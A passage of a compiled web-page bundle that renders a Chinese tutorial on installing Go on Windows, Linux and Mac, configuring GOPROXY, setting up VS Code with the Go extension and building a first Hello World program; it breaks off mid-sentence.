n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",...(0,i.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"\u5b89\u88c5go\u8bed\u8a00\u53ca\u642d\u5efago\u8bed\u8a00\u5f00\u53d1\u73af\u5883",children:"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883"})}),"\n",(0,l.jsxs)(n.p,{children:["**\u6ce8\u610f\uff1a**Go\u8bed\u8a001.14\u7248\u672c\u4e4b\u540e\u63a8\u8350\u4f7f\u7528go modules\u7ba1\u7406\u4f9d\u8d56\uff0c\u4e5f\u4e0d\u518d\u9700\u8981\u628a\u4ee3\u7801\u5199\u5728GOPATH\u76ee\u5f55\u4e0b\u4e86\uff0c\u4e4b\u524d\u65e7\u7248\u672c\u7684\u6559\u7a0b\u6233\u8fd9\u4e2a",(0,l.jsx)(n.a,{href:"https://www.liwenzhou.com/posts/Go/install_go_dev_old/",children:"\u94fe\u63a5"}),"\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u4e0b\u8f7d",children:"\u4e0b\u8f7d"}),"\n",(0,l.jsx)(n.h3,{id:"\u4e0b\u8f7d\u5730\u5740",children:"\u4e0b\u8f7d\u5730\u5740"}),"\n",(0,l.jsxs)(n.p,{children:["Go\u5b98\u7f51\u4e0b\u8f7d\u5730\u5740\uff1a",(0,l.jsx)(n.a,{href:"https://golang.org/dl/",children:"https://golang.org/dl/"})]}),"\n",(0,l.jsxs)(n.p,{children:["Go\u5b98\u65b9\u955c\u50cf\u7ad9\uff08\u63a8\u8350\uff09\uff1a",(0,l.jsx)(n.a,{href:"https://golang.google.cn/dl/",children:"https://golang.google.cn/dl/"})]}),"\n",(0,l.jsx)(n.h3,{id:"\u7248\u672c\u7684\u9009\u62e9",children:"\u7248\u672c\u7684\u9009\u62e9"}),"\n",(0,l.jsx)(n.p,{children:"Windows\u5e73\u53f0\u548cMac\u5e73\u53f0\u63a8\u8350\u4e0b\u8f7d\u53ef\u6267\u884c\u6587\u4ef6\u7248\uff0cLinux\u5e73\u53f0\u4e0b\u8f7d\u538b\u7f29\u6587\u4ef6\u7248\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u4e0b\u56fe\u4e2d\u7684\u7248\u672c\u53f7\u53ef\u80fd\u5e76\u4e0d\u662f\u6700\u65b0\u7684\uff0c\u4f46\u603b\u4f53\u6765\u8bf4\u5b89\u88c5\u6559\u7a0b\u662f\u7c7b\u4f3c\u7684\u3002Go\u8bed\u8a00\u66f4\u65b0\u8fed\u4ee3\u6bd4\u8f83\u5feb\uff0c\u63a8\u8350\u4f7f\u7528\u8f83\u65b0\u7248\u672c\uff0c\u4f53\u9a8c\u6700\u65b0\u7279\u6027\u3002"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"download1",src:d(74008).A+"",width:"830",height:"600"})}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,l.jsx)(n.h3,{id:"windows\u5b89\u88c5",children:"Windows\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:["\u6b64\u5b89\u88c5\u5b9e\u4f8b\u4ee5 ",(0,l.jsx)(n.code,{children:"64\u4f4dWin10"}),"\u7cfb\u7edf\u5b89\u88c5 ",(0,l.jsx)(n.code,{children:"Go1.14.1\u53ef\u6267\u884c\u6587\u4ef6\u7248\u672c"}),"\u4e3a\u4f8b\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5c06\u4e0a\u4e00\u6b65\u9009\u597d\u7684\u5b89\u88c5\u5305\u4e0b\u8f7d\u5230\u672c\u5730\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"download2",src:d(69619).A+"",width:"726",height:"492"})}),"\n",(0,l.jsx)(n.p,{children:"\u53cc\u51fb\u4e0b\u8f7d\u597d\u7684\u6587\u4ef6\uff0c\u7136\u540e\u6309\u7167\u4e0b\u56fe\u7684\u6b65\u9aa4\u5b89\u88c5\u5373\u53ef\u3002"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.img,{alt:"install01",src:d(19177).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install02",src:d(88210).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install03",src:d(3035).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install04",src:d(39172).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install05",src:d(93069).A+"",width:"495",height:"387"})]}),"\n",(0,l.jsx)(n.h3,{id:"linux\u4e0b\u5b89\u88c5",children:"Linux\u4e0b\u5b89\u88c5"}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u4e0d\u662f\u8981\u5728Linux\u5e73\u53f0\u6572go\u4ee3\u7801\u5c31\u4e0d\u9700\u8981\u5728Linux\u5e73\u53f0\u5b89\u88c5Go\uff0c\u6211\u4eec\u5f00\u53d1\u673a\u4e0a\u5199\u597d\u7684go\u4ee3\u7801\u53ea\u9700\u8981\u8de8\u5e73\u53f0\u7f16\u8bd1\uff08\u8be6\u89c1\u6587\u7ae0\u672b\u5c3e\u7684\u8de8\u5e73\u53f0\u7f16\u8bd1\uff09\u597d\u4e4b\u540e\u5c31\u53ef\u4ee5\u62f7\u8d1d\u5230Linux\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u4e86\uff0c\u8fd9\u4e5f\u662fgo\u7a0b\u5e8f\u8de8\u5e73\u53f0\u6613\u90e8\u7f72\u7684\u4f18\u52bf\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u5728\u7248\u672c\u9009\u62e9\u9875\u9762\u9009\u62e9\u5e76\u4e0b\u8f7d\u597d",(0,l.jsx)(n.code,{children:"go1.14.1.linux-amd64.tar.gz"}),"\u6587\u4ef6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"wget https://dl.google.com/go/go1.14.1.linux-amd64.tar.gz\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5c06\u4e0b\u8f7d\u597d\u7684\u6587\u4ef6\u89e3\u538b\u5230",(0,l.jsx)(n.code,{children:"/usr/local"}),"\u76ee\u5f55\u4e0b\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"tar -zxvf go1.14.1.linux-amd64.tar.gz -C /usr/local # \u89e3\u538b\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u63d0\u793a\u6ca1\u6709\u6743\u9650\uff0c\u52a0\u4e0a",(0,l.jsx)(n.code,{children:"sudo"}),"\u4ee5root\u7528\u6237\u7684\u8eab\u4efd\u518d\u8fd0\u884c\u3002\u6267\u884c\u5b8c\u5c31\u53ef\u4ee5\u5728",(0,l.jsx)(n.code,{children:"/usr/local/"}),"\u4e0b\u770b\u5230",(0,l.jsx)(n.code,{children:"go"}),"\u76ee\u5f55\u4e86\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff1a Linux\u4e0b\u6709\u4e24\u4e2a\u6587\u4ef6\u53ef\u4ee5\u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff0c\u5176\u4e2d",(0,l.jsx)(n.code,{children:"/etc/profile"}),"\u662f\u5bf9\u6240\u6709\u7528\u6237\u751f\u6548\u7684\uff1b",(0,l.jsx)(n.code,{children:"$HOME/.profile"}),"\u662f\u5bf9\u5f53\u524d\u7528\u6237\u751f\u6548\u7684\uff0c\u6839\u636e\u81ea\u5df1\u7684\u60c5\u51b5\u81ea\u884c\u9009\u62e9\u4e00\u4e2a\u6587\u4ef6\u6253\u5f00\uff0c\u6dfb\u52a0\u5982\u4e0b\u4e24\u884c\u4ee3\u7801\uff0c\u4fdd\u5b58\u9000\u51fa\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"export GOROOT=/usr/local/go\nexport PATH=$PATH:$GOROOT/bin\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"/etc/profile"}),"\u540e\u8981\u91cd\u542f\u751f\u6548\uff0c\u4fee\u6539",(0,l.jsx)(n.code,{children:"$HOME/.profile"}),"\u540e\u4f7f\u7528source\u547d\u4ee4\u52a0\u8f7d",(0,l.jsx)(n.code,{children:"$HOME/.profile"}),"\u6587\u4ef6\u5373\u53ef\u751f\u6548\u3002 \u68c0\u67e5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"~ go version\ngo version go1.14.1 linux/amd64\n"})}),"\n",(0,l.jsx)(n.h3,{id:"mac\u4e0b\u5b89\u88c5",children:"Mac\u4e0b\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0b\u8f7d\u53ef\u6267\u884c\u6587\u4ef6\u7248\uff0c\u76f4\u63a5\u70b9\u51fb",(0,l.jsx)(n.strong,{children:"\u4e0b\u4e00\u6b65"}),"\u5b89\u88c5\u5373\u53ef\uff0c\u9ed8\u8ba4\u4f1a\u5c06go\u5b89\u88c5\u5230",(0,l.jsx)(n.code,{children:"/usr/local/go"}),"\u76ee\u5f55\u4e0b\u3002",(0,l.jsx)(n.img,{alt:"Mac\u5b89\u88c5Go",src:d(52055).A+"",width:"620",height:"438"})]}),"\n",(0,l.jsx)(n.h3,{id:"\u68c0\u67e5",children:"\u68c0\u67e5"}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0a\u4e00\u6b65\u5b89\u88c5\u8fc7\u7a0b\u6267\u884c\u5b8c\u6bd5\u540e\uff0c\u53ef\u4ee5\u6253\u5f00\u7ec8\u7aef\u7a97\u53e3\uff0c\u8f93\u5165",(0,l.jsx)(n.code,{children:"go version"}),"\u547d\u4ee4\uff0c\u67e5\u770b\u5b89\u88c5\u7684Go\u7248\u672c\u3002",(0,l.jsx)(n.img,{alt:"install06",src:d(79094).A+"",width:"689",height:"430"})]}),"\n",(0,l.jsx)(n.h2,{id:"goroot\u548cgopath",children:"GOROOT\u548cGOPATH"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"GOROOT"}),"\u548c",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u90fd\u662f\u73af\u5883\u53d8\u91cf\uff0c\u5176\u4e2d",(0,l.jsx)(n.code,{children:"GOROOT"}),"\u662f\u6211\u4eec\u5b89\u88c5go\u5f00\u53d1\u5305\u7684\u8def\u5f84\uff0c\u800c\u4eceGo 1.8\u7248\u672c\u5f00\u59cb\uff0cGo\u5f00\u53d1\u5305\u5728\u5b89\u88c5\u5b8c\u6210\u540e\u4f1a\u4e3a",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u8bbe\u7f6e\u4e00\u4e2a\u9ed8\u8ba4\u76ee\u5f55\uff0c\u5e76\u4e14\u5728Go1.14\u53ca\u4e4b\u540e\u7684\u7248\u672c\u4e2d\u542f\u7528\u4e86Go Module\u6a21\u5f0f\u4e4b\u540e\uff0c\u4e0d\u4e00\u5b9a\u975e\u8981\u5c06\u4ee3\u7801\u5199\u5230GOPATH\u76ee\u5f55\u4e0b\uff0c\u6240\u4ee5\u4e5f\u5c31",(0,l.jsx)(n.strong,{children:"\u4e0d\u9700\u8981\u6211\u4eec\u518d\u81ea\u5df1\u914d\u7f6eGOPATH"}),"\u4e86\uff0c\u4f7f\u7528\u9ed8\u8ba4\u7684\u5373\u53ef\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u60f3\u8981\u67e5\u770b\u4f60\u7535\u8111\u4e0a\u7684",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u8def\u5f84\uff0c\u53ea\u9700\u8981\u6253\u5f00\u7ec8\u7aef\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u5e76\u56de\u8f66\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go env\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u7ec8\u7aef\u8f93\u51fa\u7684\u5185\u5bb9\u4e2d\u627e\u5230",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u5bf9\u5e94\u7684\u5177\u4f53\u8def\u5f84\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"goproxy-\u975e\u5e38\u91cd\u8981",children:"GOPROXY \u975e\u5e38\u91cd\u8981"}),"\n",(0,l.jsxs)(n.p,{children:["Go1.14\u7248\u672c\u4e4b\u540e\uff0c\u90fd\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(n.code,{children:"go mod"}),"\u6a21\u5f0f\u6765\u7ba1\u7406\u4f9d\u8d56\u73af\u5883\u4e86\uff0c\u4e5f\u4e0d\u518d\u5f3a\u5236\u6211\u4eec\u628a\u4ee3\u7801\u5fc5\u987b\u5199\u5728",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u4e0b\u9762\u7684src\u76ee\u5f55\u4e86\uff0c\u4f60\u53ef\u4ee5\u5728\u4f60\u7535\u8111\u7684\u4efb\u610f\u4f4d\u7f6e\u7f16\u5199go\u4ee3\u7801\u3002\uff08\u7f51\u4e0a\u6709\u4e9b\u6559\u7a0b\u9002\u7528\u4e8e1.11\u7248\u672c\u4e4b\u524d\u3002\uff09"]}),"\n",(0,l.jsxs)(n.p,{children:["\u9ed8\u8ba4GoPROXY\u914d\u7f6e\u662f\uff1a",(0,l.jsx)(n.code,{children:"GOPROXY=https://proxy.golang.org,direct"}),"\uff0c\u7531\u4e8e\u56fd\u5185\u8bbf\u95ee\u4e0d\u5230",(0,l.jsx)(n.code,{children:"https://proxy.golang.org"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u6362\u4e00\u4e2aPROXY\uff0c\u8fd9\u91cc\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(n.code,{children:"https://goproxy.io"}),"\u6216",(0,l.jsx)(n.code,{children:"https://goproxy.cn"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u53ef\u4ee5\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u4fee\u6539GOPROXY\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go env -w GOPROXY=https://goproxy.cn,direct\n"})}),"\n",(0,l.jsx)(n.h2,{id:"go\u5f00\u53d1\u7f16\u8f91\u5668",children:"Go\u5f00\u53d1\u7f16\u8f91\u5668"}),"\n",(0,l.jsxs)(n.p,{children:["Go\u91c7\u7528\u7684\u662fUTF-8\u7f16\u7801\u7684\u6587\u672c\u6587\u4ef6\u5b58\u653e\u6e90\u4ee3\u7801\uff0c\u7406\u8bba\u4e0a\u4f7f\u7528\u4efb\u4f55\u4e00\u6b3e\u6587\u672c\u7f16\u8f91\u5668\u90fd\u53ef\u4ee5\u505aGo\u8bed\u8a00\u5f00\u53d1\uff0c\u8fd9\u91cc\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(n.code,{children:"VS Code"}),"\u548c",(0,l.jsx)(n.code,{children:"Goland"}),"\u3002 ",(0,l.jsx)(n.code,{children:"VS Code"}),"\u662f\u5fae\u8f6f\u5f00\u6e90\u7684\u7f16\u8f91\u5668\uff0c\u800c",(0,l.jsx)(n.code,{children:"Goland"}),"\u662fjetbrains\u51fa\u54c1\u7684\u4ed8\u8d39IDE\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u8fd9\u91cc\u4f7f\u7528",(0,l.jsx)(n.code,{children:"VS Code"})," \u52a0\u63d2\u4ef6\u505a\u4e3ago\u8bed\u8a00\u7684\u5f00\u53d1\u5de5\u5177\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"vs-code\u4ecb\u7ecd",children:"VS Code\u4ecb\u7ecd"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"VS Code"}),"\u5168\u79f0",(0,l.jsx)(n.code,{children:"Visual Studio Code"}),"\uff0c\u662f\u5fae\u8f6f\u516c\u53f8\u5f00\u6e90\u7684\u4e00\u6b3e",(0,l.jsx)(n.strong,{children:"\u514d\u8d39"}),"\u73b0\u4ee3\u5316\u8f7b\u91cf\u7ea7\u4ee3\u7801\u7f16\u8f91\u5668\uff0c\u652f\u6301\u51e0\u4e4e\u6240\u6709\u4e3b\u6d41\u7684\u5f00\u53d1\u8bed\u8a00\u7684\u8bed\u6cd5\u9ad8\u4eae\u3001\u667a\u80fd\u4ee3\u7801\u8865\u5168\u3001\u81ea\u5b9a\u4e49\u70ed\u952e\u3001\u62ec\u53f7\u5339\u914d\u3001\u4ee3\u7801\u7247\u6bb5\u3001\u4ee3\u7801\u5bf9\u6bd4 Diff\u3001GIT \u7b49\u7279\u6027\uff0c\u652f\u6301\u63d2\u4ef6\u6269\u5c55\uff0c\u652f\u6301 Win\u3001Mac \u4ee5\u53ca Linux\u5e73\u53f0\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u867d\u7136\u4e0d\u5982\u67d0\u4e9bIDE\u529f\u80fd\u5f3a\u5927\uff0c\u4f46\u662f\u5b83\u6dfb\u52a0Go\u6269\u5c55\u63d2\u4ef6\u540e\u5df2\u7ecf\u8db3\u591f\u80dc\u4efb\u6211\u4eec\u65e5\u5e38\u7684Go\u5f00\u53d1\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5",children:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"VS Code"}),"\u5b98\u65b9\u4e0b\u8f7d\u5730\u5740\uff1a",(0,l.jsx)(n.a,{href:"https://code.visualstudio.com/Download",children:"https://code.visualstudio.com/Download"})]}),"\n",(0,l.jsxs)(n.p,{children:["\u4e09\u5927\u4e3b\u6d41\u5e73\u53f0\u90fd\u652f\u6301\uff0c\u8bf7\u6839\u636e\u81ea\u5df1\u7684\u7535\u8111\u5e73\u53f0\u9009\u62e9\u5bf9\u5e94\u7684\u5b89\u88c5\u5305\u3002",(0,l.jsx)(n.img,{alt:"vscode_home",src:d(91581).A+"",width:"914",height:"516"}),"\u53cc\u51fb\u4e0b\u8f7d\u597d\u7684\u5b89\u88c5\u6587\u4ef6\uff0c\u53cc\u51fb\u5b89\u88c5\u5373\u53ef\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"\u914d\u7f6e",children:"\u914d\u7f6e"}),"\n",(0,l.jsx)(n.h4,{id:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6",children:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6"}),"\n",(0,l.jsxs)(n.p,{children:["\u70b9\u51fb\u5de6\u4fa7\u83dc\u5355\u680f\u6700\u540e\u4e00\u9879",(0,l.jsx)(n.code,{children:"\u7ba1\u7406\u6269\u5c55"}),"\uff0c\u5728",(0,l.jsx)(n.code,{children:"\u641c\u7d22\u6846"}),"\u4e2d\u8f93\u5165",(0,l.jsx)(n.code,{children:"chinese"})," \uff0c\u9009\u4e2d\u7ed3\u679c\u5217\u8868\u7b2c\u4e00\u9879\uff0c\u70b9\u51fb",(0,l.jsx)(n.code,{children:"install"}),"\u5b89\u88c5\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5b89\u88c5\u5b8c\u6bd5\u540e\u53f3\u4e0b\u89d2\u4f1a\u63d0\u793a",(0,l.jsx)(n.code,{children:"\u91cd\u542fVS Code"}),"\uff0c\u91cd\u542f\u4e4b\u540e\u4f60\u7684VS Code\u5c31\u663e\u793a\u4e2d\u6587\u5566\uff01",(0,l.jsx)(n.img,{alt:"\u5b89\u88c5\u7b80\u4f53\u4e2d\u6587\u63d2\u4ef6",src:d(48021).A+"",width:"1214",height:"925"}),(0,l.jsx)(n.code,{children:"VSCode"}),"\u4e3b\u754c\u9762\u4ecb\u7ecd\uff1a",(0,l.jsx)(n.img,{alt:"vscode_menu",src:d(89705).A+"",width:"1232",height:"768"})]}),"\n",(0,l.jsx)(n.h4,{id:"\u5b89\u88c5go\u6269\u5c55",children:"\u5b89\u88c5go\u6269\u5c55"}),"\n",(0,l.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u8981\u4e3a\u6211\u4eec\u7684VS Code\u7f16\u8f91\u5668\u5b89\u88c5",(0,l.jsx)(n.code,{children:"Go"}),"\u6269\u5c55\u63d2\u4ef6\uff0c\u8ba9\u5b83\u652f\u6301Go\u8bed\u8a00\u5f00\u53d1\u3002",(0,l.jsx)(n.img,{alt:"\u5b89\u88c5go\u6269\u5c55\u56fe",src:d(61145).A+"",width:"1232",height:"932"})]}),"\n",(0,l.jsx)(n.h2,{id:"\u7b2c\u4e00\u4e2ago\u7a0b\u5e8f",children:"\u7b2c\u4e00\u4e2aGo\u7a0b\u5e8f"}),"\n",(0,l.jsx)(n.h3,{id:"hello-world",children:"Hello World"}),"\n",(0,l.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u6765\u521b\u5efa\u7b2c\u4e00\u4e2aGo\u9879\u76ee\u2014\u2014",(0,l.jsx)(n.code,{children:"hello"}),"\u3002\u5728\u6211\u4eec\u684c\u9762\u521b\u5efa\u4e00\u4e2a",(0,l.jsx)(n.code,{children:"hello"}),"\u76ee\u5f55\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"go-mod-init",children:"go mod init"}),"\n",(0,l.jsxs)(n.p,{children:["\u4f7f\u7528go module\u6a21\u5f0f\u65b0\u5efa\u9879\u76ee\u65f6\uff0c\u6211\u4eec",(0,l.jsx)(n.strong,{children:"\u9700\u8981"}),"\u901a\u8fc7",(0,l.jsx)(n.code,{children:"go mod init \u9879\u76ee\u540d"}),"\u547d\u4ee4\u5bf9\u9879\u76ee\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u8be5\u547d\u4ee4\u4f1a\u5728\u9879\u76ee\u6839\u76ee\u5f55\u4e0b\u751f\u6210",(0,l.jsx)(n.code,{children:"go.mod"}),"\u6587\u4ef6\u3002\u4f8b\u5982\uff0c\u6211\u4eec\u4f7f\u7528",(0,l.jsx)(n.code,{children:"hello"}),"\u4f5c\u4e3a\u6211\u4eec\u7b2c\u4e00\u4e2aGo\u9879\u76ee\u7684\u540d\u79f0\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go mod init hello\n"})}),"\n",(0,l.jsx)(n.h4,{id:"\u7f16\u5199\u4ee3\u7801",children:"\u7f16\u5199\u4ee3\u7801"}),"\n",(0,l.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u5728\u8be5\u76ee\u5f55\u4e2d\u521b\u5efa\u4e00\u4e2a",(0,l.jsx)(n.code,{children:"main.go"}),"\u6587\u4ef6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-go",children:'package main // \u58f0\u660e main \u5305\uff0c\u8868\u660e\u5f53\u524d\u662f\u4e00\u4e2a\u53ef\u6267\u884c\u7a0b\u5e8f\n\nimport "fmt" // \u5bfc\u5165\u5185\u7f6e fmt \u5305\n\nfunc main(){ // main\u51fd\u6570\uff0c\u662f\u7a0b\u5e8f\u6267\u884c\u7684\u5165\u53e3\n\tfmt.Println("Hello World!") // \u5728\u7ec8\u7aef\u6253\u5370 Hello World!\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u975e\u5e38\u91cd\u8981\uff01\uff01\uff01"})," \u5982\u679c\u6b64\u65f6VS Code\u53f3\u4e0b\u89d2\u5f39\u51fa\u63d0\u793a\u8ba9\u4f60\u5b89\u88c5\u63d2\u4ef6\uff0c\u52a1\u5fc5\u70b9 ",(0,l.jsx)(n.strong,{children:"install all"})," \u8fdb\u884c\u5b89\u88c5\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u4e00\u6b65\u9700\u8981\u5148\u6267\u884c\u5b8c\u4e0a\u9762\u63d0\u5230\u7684",(0,l.jsx)(n.code,{children:"go env -w GOPROXY=https://goproxy.cn,direct"}),"\u547d\u4ee4\u914d\u7f6e\u597d",(0,l.jsx)(n.code,{children:"GOPROXY"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"\u7f16\u8bd1",children:"\u7f16\u8bd1"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"go build"}),"\u547d\u4ee4\u8868\u793a\u5c06\u6e90\u4ee3\u7801\u7f16\u8bd1\u6210\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5728hello\u76ee\u5f55\u4e0b\u6267\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go build\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7f16\u8bd1\u5f97\u5230\u7684\u53ef\u6267\u884c\u6587\u4ef6\u4f1a\u4fdd\u5b58\u5728\u6267\u884c\u7f16\u8bd1\u547d\u4ee4\u7684\u5f53\u524d\u76ee\u5f55\u4e0b\uff0c\u5982\u679c\u662f",(0,l.jsx)(n.code,{children:"Windows"}),"\u5e73\u53f0\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u627e\u5230",(0,l.jsx)(n.code,{children:"hello.exe"}),"\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u53ef\u5728\u7ec8\u7aef\u76f4\u63a5\u6267\u884c\u8be5",(0,l.jsx)(n.code,{children:"hello.exe"}),"\u6587\u4ef6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"c:\\desktop\\hello>hello.exe\nHello World!\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(n.code,{children:"-o"}),"\u53c2\u6570\u6765\u6307\u5b9a\u7f16\u8bd1\u540e\u5f97\u5230\u7684\u53ef\u6267\u884c\u6587\u4ef6\u7684\u540d\u5b57\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go build -o heiheihei.exe\n"})}),"\n",(0,l.jsx)(n.h3,{id:"windows\u4e0bvscode\u5207\u6362cmdexe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef",children:"Windows\u4e0bVSCode\u5207\u6362cmd.exe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef"}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u6253\u5f00VS Code\u7684\u7ec8\u7aef\u754c\u9762\u51fa\u73b0\u5982\u4e0b\u56fe\u573a\u666f\uff08\u6ce8\u610f\u89c2\u5bdf\u7ea2\u6846\u5708\u4e2d\u90e8\u5206\uff09\uff0c\u90a3\u4e48\u4f60\u7684",(0,l.jsx)(n.code,{children:"VS Code"}),"\u6b64\u65f6\u6b63\u4f7f\u7528",(0,l.jsx)(n.code,{children:"powershell"}),"\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef\uff1a",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e1",src:d(83879).A+"",width:"1310",height:"569"}),"\u5341\u5206\u63a8\u8350\u4f60\u6309\u7167\u4e0b\u9762\u7684\u6b65\u9aa4\uff0c\u9009\u62e9",(0,l.jsx)(n.code,{children:"cmd.exe"}),"\u4f5c\u4e3a\u9ed8\u8ba4\u7684\u7ec8\u7aef\u5de5\u5177\uff1a",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e2",src:d(64876).A+"",width:"1310",height:"540"}),"\u6b64\u65f6\uff0cVS Code\u6b63\u4e0a\u65b9\u4e2d\u95f4\u4f4d\u7f6e\u4f1a\u5f39\u51fa\u5982\u4e0b\u754c\u9762\uff0c\u53c2\u7167\u4e0b\u56fe\u632a\u52a8\u9f20\u6807\u4f7f\u5149\u6807\u9009\u4e2d\u540e\u7f00\u4e3a",(0,l.jsx)(n.code,{children:"cmd.exe"}),"\u7684\u90a3\u4e00\u4e2a\uff0c\u7136\u540e\u70b9\u51fb\u9f20\u6807\u5de6\u952e\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u540e",(0,l.jsx)(n.strong,{children:"\u91cd\u542fVS Code\u4e2d\u5df2\u7ecf\u6253\u5f00\u7684\u7ec8\u7aef"}),"\u6216\u8005",(0,l.jsx)(n.strong,{children:"\u76f4\u63a5\u91cd\u542fVS Code"}),"\u5c31\u53ef\u4ee5\u4e86\u3002",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e3",src:d(17141).A+"",width:"1310",height:"357"}),"\u5982\u679c\u6ca1\u6709\u51fa\u73b0\u4e0b\u62c9\u4e09\u89d2\uff0c\u4e5f\u6ca1\u6709\u5173\u7cfb\uff0c\u6309\u4e0b",(0,l.jsx)(n.code,{children:"Ctrl+Shift+P"}),"\uff0cVS 